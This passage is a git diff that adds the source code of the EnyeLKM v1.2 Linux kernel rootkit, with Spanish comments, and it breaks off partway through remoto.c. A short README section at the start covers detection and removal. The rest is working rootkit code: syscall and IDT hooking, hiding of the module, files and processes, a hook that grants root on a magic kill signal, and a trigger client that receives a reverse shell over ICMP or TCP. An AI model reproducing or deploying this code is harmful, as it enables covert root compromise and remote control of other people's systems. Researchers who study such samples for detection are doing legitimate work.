hidden connection + +If a NIDS is installed on the network, all traffic with a source or destination port of 8822 should be flagged for inspection. If the NIDS offers inspection of packet internals, ICMP and TCP payloads should be inspected for ENYELKMICMPKEY and ENYELKMTCPKEY. + +The ICMP trigger uses an ICMP echo request. Its payload is short and contains only the pre-shared key and the callback port in hexadecimal (stored in little endian order). + +The TCP trigger completes the normal TCP three way handshake on the chosen port. It then sends a PSH packet containing the pre-shared key and the callback port in hexadecimal (again stored in little endian order). + +Packet dumps of both triggering mechanisms can be found at the links below. They are in pcap format and can be examined using Wireshark. + +* http://www.williamsworx.com/wiki/pub/Linux/EnyeLKM/tcpTrigger.pcap +* http://www.williamsworx.com/wiki/pub/Linux/EnyeLKM/icmpTrigger.pcap +* http://www.williamsworx.com/wiki/pub/Linux/EnyeLKM/icmpTwoTriggers.pcap + +If your system has /proc/kcore enabled (Fedora kernels usually do not) you can use gdb to disassemble the sysenter_entry. A normal sysenter routine won't jump soon after it is called, but that's exactly what happens with EnyeLKM installed: + +0xc0103ff5 : jne 0xc0104114 +0xc0103ffb : push 0xd0ba32a4 +0xc0104000 : ret + +Of course, as with any system compromised at the kernel level, the best thing you can do to ferret out the rootkit on the disk is to take the system offline, make a forensic disk image, and examine it on a clean system. + +### Removal + +Removal of this rootkit in its default form is almost too easy. + +The EnyeLKM rootkit insmod command is installed into /etc/rc.d/rc.sysinit or in a very limited distribution /etc/inittab. The module itself is installed as /etc/.enyelkmOCULTAR.ko. The insmod command will not be seen if you inspect /etc/inittab or /etc/rc.d/rc.sysinit since it is hidden between OCULTAR tags. This hiding can be used to your advantage when removing the rootkit. Simply cat both files out to /tmp and copy them over the originals. The hidden text will be gone from the file (instead of simply hidden). Unfortunately, the module itself cannot be unloaded so a reboot is needed to remove the module from the running kernel. + +Note that this method will not work if the insmod command for the rootkit is placed in some other location (such as another startup script or binary). + +Once the system reboots without installing rootkit module, a thorough investigation of running processes and network connections should be performed. Hackers will often install more than one backdoor on a system to maintain persistence. + +## Referenced by + +* Design and Implementation of a Virtual Machine Introspection based Intrusion Detection System - Thomas Kittel: https://pdfs.semanticscholar.org/d48a/dbea94a5e2bc108b274f3176db9d5024af15.pdf +* Full Virtual Machine State Reconstruction for Security Applications - Christian A. Schneider: http://citeseerx.ist.psu.edu/viewdoc/download;jsessionid=DDA289985A5B66223310A012971CAD3E?doi=10.1.1.722.9243&rep=rep1&type=pdf diff --git a/Linux/Rootkits/Enyelkm/VERSIONS b/Linux/Rootkits/Enyelkm/VERSIONS new file mode 100644 index 0000000..a665ee1 --- /dev/null +++ b/Linux/Rootkits/Enyelkm/VERSIONS @@ -0,0 +1,18 @@ +v1.2: +------ + ++ eliminados warnings de __copy_to_user() ++ añadido new_idt (nuevo handler) y eliminado handler antiguo ++ cambiado read_activo a atomic_t ++ envio de peticion shell tcp terminado ++ reverse_shell via tcp terminada ++ hacked_tcp4_seq_show() injectada ++ nuevo sistema de ocultacion de conexion, a traves + de sys_read eliminado ++ añadida hacked_getdents complementando a hacked_getdents64 ++ do_fork() eliminado, ahora se usa fork() ++ se bloquean todas las señales en el manejador de la conexion ++ sysenter_entry obtenido a traves rdmsr() cuando sea posible, + en vez de /proc/kallsyms ++ se oculta el modulo a '/sys/module' con kobject_unregister() + diff --git a/Linux/Rootkits/Enyelkm/base.c b/Linux/Rootkits/Enyelkm/base.c new file mode 100644 index 0000000..5bdac2c --- /dev/null +++ b/Linux/Rootkits/Enyelkm/base.c @@ -0,0 +1,367 @@ +/* + * ENYELKM v1.2 + * Linux Rootkit x86 kernel v2.6.x + * + * By RaiSe && David Reguera + * < raise@enye-sec.org + * davidregar@yahoo.es + * http://www.enye-sec.org > + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "config.h" +#include "data.h" +#include "syscalls.h" +#include "remoto.h" +#include "kill.h" +#include "read.h" +#include "ls.h" + +#define ORIG_EXIT 19 +#define DIRECALL 42 +#define SALTO 5 +#define SKILL 49 +#define SGETDENTS64 57 +#define SREAD 65 +#define DAFTER_CALL 70 +#define DNRSYSCALLS 10 + +#define ASMIDType( valor ) \ + __asm__ ( valor ); + +#define JmPushRet( valor ) \ + ASMIDType \ + ( \ + "push %0 \n" \ + "ret \n" \ + \ + : : "m" (valor) \ + ); + +#define CallHookedSyscall( valor ) \ + ASMIDType( "call *%0" : : "r" (valor) ); + + +/* punteros a syscalls/funciones originales */ +int (*orig_tcp4_seq_show)(struct seq_file *seq, void *v); +asmlinkage int (*orig_kill)(pid_t pid, int sig); +asmlinkage long (*orig_getdents64) + (unsigned int fd, struct dirent64 *dirp, unsigned int count); +asmlinkage long (*orig_getdents) + (unsigned int fd, struct dirent *dirp, unsigned int count); + + +/* variables globales */ +extern struct proc_dir_entry *proc_net; +unsigned long dire_exit, after_call; +unsigned long dire_call, global_ip; +short lanzar_shell; +atomic_t read_activo; +void *sysenter_entry; +void **sys_call_table; +struct packet_type my_pkt; +unsigned short global_port; +int errno; + + +/* prototipos funciones */ +void *get_system_call(void); +void *get_sys_call_table(void *system_call); +void set_idt_handler(void *system_call); +void set_sysenter_handler(void *sysenter); +void *get_sysenter_entry(void); +void new_idt(void); +void hook(void); + + +/* estructuras */ +struct idt_descriptor + { + unsigned short off_low; + unsigned short sel; + unsigned char none, flags; + unsigned short off_high; + }; + + + +int init_module(void) +{ +void *s_call; +struct module *m = &__this_module; +struct proc_dir_entry *tcp = proc_net->subdir->next; + +/* borramos nuestro modulo de la lista */ +if (m->init == init_module) + list_del(&m->list); + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,7) + kobject_unregister(&m->mkobj.kobj); +#endif + +/* redefinimos tcp4_seq_show() */ +while (strcmp(tcp->name, "tcp") && (tcp != proc_net->subdir)) + tcp = tcp->next; + +if (tcp != proc_net->subdir) + { + orig_tcp4_seq_show = ((struct tcp_seq_afinfo *)(tcp->data))->seq_show; + ((struct tcp_seq_afinfo *)(tcp->data))->seq_show = hacked_tcp4_seq_show; + + #if DEBUG == 1 + printk("enyelkm: hacked_tcp4_seq_show() injectada!\n"); + #endif + } + +sysenter_entry = get_sysenter_entry(); + +/* variables de control */ +lanzar_shell = 0; +atomic_set(&read_activo, 0); +global_ip = 0xffffffff; + +/* averiguar sys_call_table */ +s_call = get_system_call(); +sys_call_table = get_sys_call_table(s_call); + +/* punteros a syscalls originales */ +orig_kill = sys_call_table[__NR_kill]; +orig_getdents64 = sys_call_table[__NR_getdents64]; +orig_getdents = sys_call_table[__NR_getdents]; + +/* modificar los handlers */ +set_idt_handler(s_call); +set_sysenter_handler(sysenter_entry); + +/* insertamos el nuevo filtro */ +my_pkt.type=htons(ETH_P_ALL); +my_pkt.func=capturar; +dev_add_pack(&my_pkt); + +#if DEBUG == 1 +printk("enyelkm instalado!\n"); +#endif + +return(0); + +} /*********** fin init_module ***********/ + + + +void cleanup_module(void) +{ +/* dejar terminar procesos que estan 'leyendo' */ +while (atomic_read(&read_activo) != 0) + schedule(); + +#if DEBUG == 1 +printk("enyelkm desinstalado!\n"); +#endif + +} /*********** fin cleanup_module ************/ + + + +void *get_system_call(void) +{ +unsigned char idtr[6]; +unsigned long base; +struct idt_descriptor desc; + +asm ("sidt %0" : "=m" (idtr)); +base = *((unsigned long *) &idtr[2]); +memcpy(&desc, (void *) (base + (0x80*8)), sizeof(desc)); + +return((void *) ((desc.off_high << 16) + desc.off_low)); + +} /*********** fin get_sys_call_table() ***********/ + + + +void *get_sys_call_table(void *system_call) +{ +unsigned char *p; +unsigned long s_c_t; + +p = (unsigned char *) system_call; + +while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85))) + p++; + +dire_call = (unsigned long) p; + +p += 3; +s_c_t = *((unsigned long *) p); + +p += 4; +after_call = (unsigned long) p; + +/* cli */ +while (*p != 0xfa) + p++; + +dire_exit = (unsigned long) p; + +return((void *) s_c_t); + +} /********** fin get_sys_call_table() *************/ + + + +void set_idt_handler(void *system_call) +{ +unsigned char *p; +unsigned long *p2; + +p = (unsigned char *) system_call; + +/* primer salto */ +while (!((*p == 0x0f) && (*(p+1) == 0x83))) + p++; + +p -= 5; + +*p++ = 0x68; +p2 = (unsigned long *) p; +*p2++ = (unsigned long) ((void *) new_idt); + +p = (unsigned char *) p2; +*p = 0xc3; + +/* syscall_trace_entry salto */ +while (!((*p == 0x0f) && (*(p+1) == 0x82))) + p++; + +p -= 5; + +*p++ = 0x68; +p2 = (unsigned long *) p; +*p2++ = (unsigned long) ((void *) new_idt); + +p = (unsigned char *) p2; +*p = 0xc3; + +} /********** fin set_idt_handler() ***********/ + + + +void set_sysenter_handler(void *sysenter) +{ +unsigned char *p; +unsigned long *p2; + +p = (unsigned char *) sysenter; + +/* buscamos call */ +while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85))) + p++; + +/* buscamos el jae syscall_badsys */ +while (!((*p == 0x0f) && (*(p+1) == 0x83))) + p--; + +p -= 5; + +/* metemos el salto */ + +*p++ = 0x68; +p2 = (unsigned long *) p; +*p2++ = (unsigned long) ((void *) new_idt); + +p = (unsigned char *) p2; +*p = 0xc3; + +} /************* fin set_sysenter_handler() **********/ + + + +void new_idt(void) +{ + ASMIDType + ( + "cmp %0, %%eax \n" + "jae syscallmala \n" + "jmp hook \n" + + "syscallmala: \n" + "jmp dire_exit \n" + + : : "i" (NR_syscalls) + ); + +} /********** fin new_idt() **************/ + + + +void hook(void) +{ + register int eax asm("eax"); + + switch(eax) + { + case __NR_kill: + CallHookedSyscall(hacked_kill); + break; + + case __NR_getdents: + CallHookedSyscall(hacked_getdents); + break; + + case __NR_getdents64: + CallHookedSyscall(hacked_getdents64); + break; + + case __NR_read: + CallHookedSyscall(hacked_read); + break; + + default: + JmPushRet(dire_call); + break; + } + + JmPushRet( after_call ); + +} /*********** fin hook() ************/ + + + +/* thx to Int27h :-) */ +void *get_sysenter_entry(void) +{ +void *psysenter_entry = NULL; +unsigned long v2; + +if (boot_cpu_has(X86_FEATURE_SEP)) + rdmsr(MSR_IA32_SYSENTER_EIP, psysenter_entry, v2); +else + return((void *) DSYSENTER); + +return(psysenter_entry); + +} /********** fin get_sysenter_entry() **********/ + + + +/* Licencia GPL */ +MODULE_LICENSE("GPL"); + +/* EOF */ diff --git a/Linux/Rootkits/Enyelkm/conectar.c b/Linux/Rootkits/Enyelkm/conectar.c new file mode 100644 index 0000000..ed443dd --- /dev/null +++ b/Linux/Rootkits/Enyelkm/conectar.c @@ -0,0 +1,293 @@ +/* + * ENYELKM v1.2 + * Linux Rootkit x86 kernel v2.6.x + * + * By RaiSe && David Reguera + * < raise@enye-sec.org + * davidregar@yahoo.es + * http://www.enye-sec.org > + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "config.h" + + +int enviar_icmp(char *ipdestino, unsigned short puerto); +int enviar_tcp(char *ipdestino, unsigned short dpuerto, unsigned short puerto); +int test_args(int argc, char *argv[]); +void show_instr(char *name); + + +int main(int argc, char *argv[]) +{ +struct sockaddr_in dire; +unsigned short puerto, dpuerto; +int soc, soc2, modo; +fd_set s_read; +unsigned char tmp; + + +if ((modo = test_args(argc, argv)) == -1) + exit(modo); + +if ((modo == 1) && (argc > 3)) + puerto = (unsigned short) atoi(argv[3]); +else + puerto = 8822; + +if ((modo == 2) && (argc > 4)) + puerto = (unsigned short) atoi(argv[4]); +else + puerto = 8822; + + +if ((soc = socket(AF_INET, SOCK_STREAM, 0)) == -1) + { + printf("error al crear el socket.\n"); + exit(-1); + } + +bzero((char *) &dire, sizeof(dire)); + +dire.sin_family = AF_INET; +dire.sin_port = htons(puerto); +dire.sin_addr.s_addr = htonl(INADDR_ANY); + +while(bind(soc, (struct sockaddr *) &dire, sizeof(dire)) == -1) + dire.sin_port = htons(++puerto); + +listen(soc, 5); + +printf("\n* Lanzando reverse_shell:\n\n"); +fflush(stdout); + +if (modo == 1) + enviar_icmp(argv[2], puerto); +else + { + dpuerto = (unsigned short) atoi(argv[3]); + enviar_tcp(argv[2], dpuerto, puerto); + } + +printf("Esperando shell en puerto %d (puede tardar unos segundos) ...\n", (int) puerto); +fflush(stdout); +soc2 = accept(soc, NULL, 0); +printf("lanzando shell ...\n\n"); +printf("id\n"); +fflush(stdout); +write(soc2, "id\n", 3); + + +while(1) + { + FD_ZERO(&s_read); + FD_SET(0, &s_read); + FD_SET(soc2, &s_read); + + select((soc2 > 0 ? soc2+1 : 0+1), &s_read, 0, 0, NULL); + + if (FD_ISSET(0, &s_read)) + { + if (read(0, &tmp, 1) == 0) + break; + write(soc2, &tmp, 1); + } + + if (FD_ISSET(soc2, &s_read)) + { + if (read(soc2, &tmp, 1) == 0) + break; + write(1, &tmp, 1); + } + + } /* fin while(1) */ + + +exit(0); + +} /***** fin de main() *****/ + + +int enviar_icmp(char *ipdestino, unsigned short puerto) +{ +int soc, n, tot; +long sum; +unsigned short *p; +struct sockaddr_in adr; +unsigned char pqt[4096]; +struct iphdr *ip = (struct iphdr *) pqt; +struct icmphdr *icmp = (struct icmphdr *)(pqt + sizeof(struct iphdr)); +char *data = (char *)(pqt + sizeof(struct iphdr) + sizeof(struct icmphdr)); + +bzero(pqt,4096); +bzero(&adr, sizeof(adr)); +strcpy(data, ICMP_CLAVE); +p = (unsigned short *)((void *)(data + strlen(data))); +*p = puerto; + +tot = sizeof(struct iphdr) + sizeof(struct icmphdr) + strlen(ICMP_CLAVE) + sizeof(puerto); + +if((soc = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) + { + perror("Error al crear el socket.\n"); + exit(-1); + } + +adr.sin_family = AF_INET; +adr.sin_port = 0; +adr.sin_addr.s_addr = inet_addr(ipdestino); + +ip->ihl = 5; +ip->version = 4; +ip->id = rand() % 0xffff; +ip->ttl = 0x40; +ip->protocol = 1; +ip->tos = 0; +ip->tot_len = htons(tot); +ip->saddr = 0; +ip->daddr = inet_addr(ipdestino); + +icmp->type = ICMP_ECHO; +icmp->code = 0; +icmp->un.echo.id = getpid() && 0xffff; +icmp->un.echo.sequence = 0; + +printf("Enviando ICMP ...\n"); +fflush(stdout); + +n = sizeof(struct icmphdr) + strlen(ICMP_CLAVE) + sizeof(puerto); +icmp->checksum = 0; +sum = 0; +p = (unsigned short *)(pqt + sizeof(struct iphdr)); + +while (n > 1) + { + sum += *p++; + n -= 2; + } + +if (n == 1) + { + unsigned char pad = 0; + pad = *(unsigned char *)p; + sum += (unsigned short) pad; + } + +sum = ((sum >> 16) + (sum & 0xffff)); +icmp-> checksum = (unsigned short) ~sum; + +if ((n = (sendto(soc, pqt, tot, 0, (struct sockaddr*) &adr, + sizeof(adr)))) == -1) + { + perror("Error al enviar datos.\n"); + exit(-1); + } + + +return(0); + +} /********* fin de enviar_icmp() ********/ + + +int enviar_tcp(char *ipdestino, unsigned short dpuerto, unsigned short puerto) +{ +char buf[256], *p; +struct sockaddr_in dire; +int soc; + +if((soc = socket(AF_INET, SOCK_STREAM, 0)) == -1) + { + perror("Error al crear el socket.\n"); + exit(-1); + } + +bzero((void *) &dire, sizeof(dire)); +dire.sin_family = AF_INET; +dire.sin_port = htons(dpuerto); +dire.sin_addr.s_addr = inet_addr(ipdestino); + +if (connect(soc, (struct sockaddr *) &dire, sizeof(dire)) == -1) + { + perror("Error al conectar al puerto destino.\n"); + exit(-1); + } + +bzero(buf, sizeof(buf)); +strcpy(buf, TCP_CLAVE); +p = buf+strlen(TCP_CLAVE); +*((unsigned short *)p) = puerto; + +printf("Enviando firma TCP al puerto %d ...\n", dpuerto); +fflush(stdout); + +write(soc, buf, strlen(TCP_CLAVE) + sizeof(unsigned short)); +close(soc); + +return(0); + +} /******** fin de enviar_tcp() ********/ + + +int test_args(int argc, char *argv[]) +{ +int modo; + +if (argc < 3) + { + show_instr(argv[0]); + return(-1); + } + +if (!strcmp(argv[1],"-icmp")) + modo = 1; +else + if (!strcmp(argv[1],"-tcp")) + modo = 2; + else + { + show_instr(argv[0]); + return(-1); + } + +if((modo == 1) && geteuid()) + { + printf("\nNecesitas ser root (para usar raw sockets).\n\n"); + return(-1); + } + +if ((modo == 2) && (argc < 4)) + { + show_instr(argv[0]); + return(-1); + } + +return(modo); + +} /******* fin test_args() ********/ + + +void show_instr(char *name) +{ + +printf("\nPrograma para activar el acceso remoto del enyelkm v1.2:\n\n"); +printf("Peticion ICMP: %s -icmp ip_destino [puerto_shell]\n", name); +printf("Peticion TCP: %s -tcp ip_destino puerto_destino [puerto_shell]\n\n", name); +printf("- ip_destino: ip de la maquina con enyelkm instalado\n"); +printf("- puerto_shell: puerto local en el que se recibira la shell (x def: 8822)\n"); +printf("- puerto_destino: puerto abierto al que se enviara la firma TCP (21, 80, ...)\n\n"); + +} /******** fin show_instr() *******/ + + +/* EOF */ diff --git a/Linux/Rootkits/Enyelkm/config.h b/Linux/Rootkits/Enyelkm/config.h new file mode 100644 index 0000000..d7a81c7 --- /dev/null +++ b/Linux/Rootkits/Enyelkm/config.h @@ -0,0 +1,22 @@ +/* + * Fichero de configuracion + */ + +/* modo debug */ +#define DEBUG 0 + +/* clave del icmp */ +#define ICMP_CLAVE "ENYELKMICMPKEY" + +/* clave del tcp */ +#define TCP_CLAVE "ENYELKMTCPKEY" + +/* clave para ocultar ficheros, directorios y procesos */ +#define SHIDE "OCULTAR" + +/* gid magico, todos los procesos con esta gid se ocultan */ +#define SGID 0x489196ab + +/* directorio home de la shell remota */ +#define HOME "/" + diff --git a/Linux/Rootkits/Enyelkm/kill.c b/Linux/Rootkits/Enyelkm/kill.c new file mode 100644 index 0000000..de7ce1e --- /dev/null +++ b/Linux/Rootkits/Enyelkm/kill.c @@ -0,0 +1,63 @@ +/* + * ENYELKM v1.2 + * Linux Rootkit x86 kernel v2.6.x + * + * By RaiSe && David Reguera + * < raise@enye-sec.org + * davidregar@yahoo.es + * http://www.enye-sec.org > + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "config.h" + +#define SIG 58 +#define PID 12345 + + +/* declaraciones externas */ +extern asmlinkage int (*orig_kill)(pid_t pid, int sig); + + +asmlinkage int hacked_kill(pid_t pid, int sig) +{ +struct task_struct *ptr = current; +int tsig = SIG, tpid = PID, ret_tmp; + + +if ((tpid == pid) && (tsig == sig)) + { + ptr->uid = 0; + ptr->euid = 0; + ptr->gid = 0; + ptr->egid = 0; + return(0); + } +else + { + ret_tmp = (*orig_kill)(pid, sig); + return(ret_tmp); + } + +return(-1); + +} /********** fin hacked_kill ************/ + + + +// EOF diff --git a/Linux/Rootkits/Enyelkm/kill.h b/Linux/Rootkits/Enyelkm/kill.h new file mode 100644 index 0000000..b081d81 --- /dev/null +++ b/Linux/Rootkits/Enyelkm/kill.h @@ -0,0 +1,4 @@ +/* funciones de kill.c */ + +asmlinkage int hacked_kill(pid_t pid, int sig); + diff --git a/Linux/Rootkits/Enyelkm/ls.c b/Linux/Rootkits/Enyelkm/ls.c new file mode 100644 index 0000000..a1da4bd --- /dev/null +++ b/Linux/Rootkits/Enyelkm/ls.c @@ -0,0 +1,205 @@ +/* + * ENYELKM v1.2 + * Linux Rootkit x86 kernel v2.6.x + * + * By RaiSe && David Reguera + * < raise@enye-sec.org + * davidregar@yahoo.es + * http://www.enye-sec.org > + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "config.h" + + + +/* declaraciones externas */ +extern asmlinkage long (*orig_getdents64) + (unsigned int fd, struct dirent64 *dirp, unsigned int count); +extern asmlinkage long (*orig_getdents) + (unsigned int fd, struct dirent *dirp, unsigned int count); + + +asmlinkage long hacked_getdents64 + (unsigned int fd, struct dirent64 *dirp, unsigned int count) +{ +struct dirent64 *td1, *td2; +long ret, tmp; +unsigned long hpid, nwarm; +short int mover_puntero, ocultar_proceso; + + +/* llamamos a la syscall original */ +ret = (*orig_getdents64) (fd, dirp, count); + +/* si vale cero retornamos */ +if (!ret) + return(ret); + + +/* copiamos la lista al kernel space */ +td2 = (struct dirent64 *) kmalloc(ret, GFP_KERNEL); +__copy_from_user(td2, dirp, ret); + + +/* inicializamos punteros y contadores */ +td1 = td2, tmp = ret; + +while (tmp > 0) + { + tmp -= td1->d_reclen; + mover_puntero = 1; + ocultar_proceso = 0; + hpid = 0; + + hpid = simple_strtoul(td1->d_name, NULL, 10); + + /* ocultacion de procesos */ + if (hpid != 0) + { + struct task_struct *htask = current; + + /* buscamos el pid */ + do { + if(htask->pid == hpid) + break; + else + htask = next_task(htask); + } while (htask != current); + + /* lo ocultamos */ + if (((htask->pid == hpid) && (htask->gid == SGID)) || + ((htask->pid == hpid) && (strstr(htask->comm, SHIDE) != NULL))) + ocultar_proceso = 1; + } + + + /* ocultacion de ficheros/directorios */ + if ((ocultar_proceso) || (strstr(td1->d_name, SHIDE) != NULL)) + { + /* una entrada menos */ + ret -= td1->d_reclen; + + /* no moveremos el puntero al siguiente */ + mover_puntero = 0; + + if (tmp) + /* no es el ultimo */ + memmove(td1, (char *) td1 + td1->d_reclen, tmp); + } + + if ((tmp) && (mover_puntero)) + td1 = (struct dirent64 *) ((char *) td1 + td1->d_reclen); + + } /* fin while */ + +/* copiamos la lista al user space again */ +nwarm = __copy_to_user((void *) dirp, (void *) td2, ret); +kfree(td2); + +return(ret); + +} /********** fin hacked_getdents64 *********/ + + + +asmlinkage long hacked_getdents + (unsigned int fd, struct dirent *dirp, unsigned int count) +{ +struct dirent *td1, *td2; +long ret, tmp; +unsigned long hpid, nwarm; +short int mover_puntero, ocultar_proceso; + + +/* llamamos a la syscall original */ +ret = (*orig_getdents) (fd, dirp, count); + +/* si vale cero retornamos */ +if (!ret) + return(ret); + + +/* copiamos la lista al kernel space */ +td2 = (struct dirent *) kmalloc(ret, GFP_KERNEL); +__copy_from_user(td2, dirp, ret); + + +/* inicializamos punteros y contadores */ +td1 = td2, tmp = ret; + +while (tmp > 0) + { + tmp -= td1->d_reclen; + mover_puntero = 1; + ocultar_proceso = 0; + hpid = 0; + + hpid = simple_strtoul(td1->d_name, NULL, 10); + + /* ocultacion de procesos */ + if (hpid != 0) + { + struct task_struct *htask = current; + + /* buscamos el pid */ + do { + if(htask->pid == hpid) + break; + else + htask = next_task(htask); + } while (htask != current); + + /* lo ocultamos */ + if (((htask->pid == hpid) && (htask->gid == SGID)) || + ((htask->pid == hpid) && (strstr(htask->comm, SHIDE) != NULL))) + ocultar_proceso = 1; + } + + + /* ocultacion de ficheros/directorios */ + if ((ocultar_proceso) || (strstr(td1->d_name, SHIDE) != NULL)) + { + /* una entrada menos */ + ret -= td1->d_reclen; + + /* no moveremos el puntero al siguiente */ + mover_puntero = 0; + + if (tmp) + /* no es el ultimo */ + memmove(td1, (char *) td1 + td1->d_reclen, tmp); + } + + if ((tmp) && (mover_puntero)) + td1 = (struct dirent *) ((char *) td1 + td1->d_reclen); + + } /* fin while */ + +/* copiamos la lista al user space again */ +nwarm = __copy_to_user((void *) dirp, (void *) td2, ret); +kfree(td2); + +return(ret); + +} /********** fin hacked_getdents **********/ + + + +/* EOF */ diff --git a/Linux/Rootkits/Enyelkm/ls.h b/Linux/Rootkits/Enyelkm/ls.h new file mode 100644 index 0000000..7d5943d --- /dev/null +++ b/Linux/Rootkits/Enyelkm/ls.h @@ -0,0 +1,7 @@ +/* funciones de ls.c */ + +asmlinkage long hacked_getdents64 + (unsigned int fd, struct dirent64 *dirp, unsigned int count); +asmlinkage long hacked_getdents + (unsigned int fd, struct dirent *dirp, unsigned int count); + diff --git a/Linux/Rootkits/Enyelkm/nat.png b/Linux/Rootkits/Enyelkm/nat.png new file mode 100644 index 0000000..e40caee Binary files /dev/null and b/Linux/Rootkits/Enyelkm/nat.png differ diff --git a/Linux/Rootkits/Enyelkm/read.c b/Linux/Rootkits/Enyelkm/read.c new file mode 100644 index 0000000..ad9fc81 --- /dev/null +++ b/Linux/Rootkits/Enyelkm/read.c @@ -0,0 +1,194 @@ +/* + * ENYELKM v1.2 + * Linux Rootkit x86 kernel v2.6.x + * + * By RaiSe && David Reguera + * < raise@enye-sec.org + * davidregar@yahoo.es + * http://www.enye-sec.org > + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "remoto.h" +#include "config.h" +#include "syscalls.h" + +#define SSIZE_MAX 32767 + + +/* define marcas */ +#define MOPEN "#" +#define MCLOSE "#" + + +/* declaraciones externas */ +extern short lanzar_shell; +extern atomic_t read_activo; +extern unsigned long global_ip; +extern unsigned short global_port; + +/* syscalls */ +static inline my_syscall0(pid_t, fork); + + +struct file *e_fget_light(unsigned int fd, int *fput_needed) +{ + struct file *file; + struct files_struct *files = current->files; + + *fput_needed = 0; + if (likely((atomic_read(&files->count) == 1))) { + file = fcheck(fd); + } else { + spin_lock(&files->file_lock); + file = fcheck(fd); + if (file) { + get_file(file); + *fput_needed = 1; + } + spin_unlock(&files->file_lock); + } + return file; + +} /*********** fin get_light **********/ + + + +int checkear(void *arg, int size, struct file *fichero) +{ +char *buf; + + +/* si SSIZE_MAX <= size <= 0 retornamos -1 */ +if ((size <= 0) || (size >= SSIZE_MAX)) + return(-1); + +/* reservamos memoria para el buffer y copiamos */ +buf = (char *) kmalloc(size+1, GFP_KERNEL); +__copy_from_user((void *) buf, (void *) arg, size); +buf[size] = 0; + +/* chequeamos las marcas */ +if ((strstr(buf, MOPEN) != NULL) && (strstr(buf, MCLOSE) != NULL)) + { + /* se encontraron las dos, devolvemos 1 */ + kfree(buf); + return(1); + } + +/* liberamos y retornamos -1 para q no haga nada */ +kfree(buf); +return(-1); + +} /********** fin de checkear() *************/ + + + +int hide_marcas(void *arg, int size) +{ +unsigned long nwarm; +char *buf, *p1, *p2; +int i, newret; + + +/* reservamos y copiamos */ +buf = (char *) kmalloc(size, GFP_KERNEL); +__copy_from_user((void *) buf, (void *) arg, size); + +p1 = strstr(buf, MOPEN); +p2 = strstr(buf, MCLOSE); +p2 += strlen(MCLOSE); + +i = size - (p2 - buf); + +memmove((void *) p1, (void *) p2, i); +newret = size - (p2 - p1); + +/* copiamos al user space, liberamos y retornamos */ +nwarm = __copy_to_user((void *) arg, (void *) buf, newret); +kfree(buf); + +return(newret); + +} /********** fin de hide_marcas **********/ + + + +asmlinkage ssize_t hacked_read(int fd, void *buf, size_t nbytes) +{ +struct file *fichero; +int fput_needed; +ssize_t ret; + + +/* se hace 1 copia del proceso y se lanza la shell */ +if (lanzar_shell == 1) + { + lanzar_shell = 0; + + if (!fork()) + reverse_shell(); + + #if DEBUG == 1 + printk("enyelkm: proceso que lanzo reverse_shell continua\n"); + #endif + } + +/* seteamos read_activo a uno */ +atomic_set(&read_activo, 1); + +/* error de descriptor no valido o no abierto para lectura */ +ret = -EBADF; + +fichero = e_fget_light(fd, &fput_needed); + +if (fichero) + { + ret = vfs_read(fichero, buf, nbytes, &fichero->f_pos); + + /* aqui es donde analizamos el contenido y ejecutamos la + funcion correspondiente */ + + switch(checkear(buf, ret, fichero)) + { + case 1: + /* marcas */ + ret = hide_marcas(buf, ret); + break; + + case -1: + /* no hacer nada */ + break; + } + + fput_light(fichero, fput_needed); + } + +/* seteamos read_activo a cero */ +atomic_set(&read_activo, 0); + +return ret; + +} /********** fin hacked_read **********/ + + +// EOF diff --git a/Linux/Rootkits/Enyelkm/read.h b/Linux/Rootkits/Enyelkm/read.h new file mode 100644 index 0000000..9b7c226 --- /dev/null +++ b/Linux/Rootkits/Enyelkm/read.h @@ -0,0 +1,6 @@ +/* funciones de read.c */ + +asmlinkage ssize_t hacked_read(int fd, void *buf, size_t nbytes); +int checkear(void *arg, int size); +int hide_marcas(void *arg, int size); + diff --git a/Linux/Rootkits/Enyelkm/remoto.c b/Linux/Rootkits/Enyelkm/remoto.c new file mode 100644 index 0000000..9f096d4 --- /dev/null +++ b/Linux/Rootkits/Enyelkm/remoto.c @@ -0,0 +1,430 @@ +/* + * ENYELKM v1.2 + * Linux Rootkit x86 kernel v2.6.x + * + * By RaiSe && David Reguera + * < raise@enye-sec.org + * davidregar@yahoo.es + * http://www.enye-sec.org > + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "config.h" +#include "remoto.h" +#include "syscalls.h" + +#define __NR_e_exit __NR_exit + + +/* variables globales */ +static char *earg[4] = { "/bin/bash", "--noprofile", "--norc", NULL }; +extern short lanzar_shell; +extern int errno; +extern unsigned long global_ip; +extern unsigned short global_port; +extern int (*orig_tcp4_seq_show)(struct seq_file *seq, void *v); +int ptmx, epty; + +/* variables de entorno */ +char *env[]={ + "TERM=linux", + "HOME=" HOME, + "PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin" + ":/usr/local/sbin", + "HISTFILE=/dev/null", + NULL }; + + +/* syscalls */ +static inline my_syscall0(pid_t, fork); +static inline my_syscall0(long, pause); +static inline my_syscall2(int, kill, pid_t, pid, int, sig); +static inline my_syscall1(int, chdir, const char *, path); +static inline my_syscall1(long, ssetmask, int, newmask); +static inline my_syscall3(int, write, int, fd, const char *, buf, off_t, count); +static inline my_syscall3(int, read, int, fd, char *, buf, off_t, count); +static inline my_syscall1(int, e_exit, int, exitcode); +static inline my_syscall3(int, open, const char *, file, int, flag, int, mode); +static inline my_syscall1(int, close, int, fd); +static inline my_syscall2(int, dup2, int, oldfd, int, newfd); +static inline my_syscall2(int, socketcall, int, call, unsigned long *, args); +static inline my_syscall3(pid_t, waitpid, pid_t, pid, int *, status, int, options); +static inline my_syscall3(int, execve, const char *, filename, + const char **, argv, const char **, envp); +static inline my_syscall3(long, ioctl, unsigned int, fd, 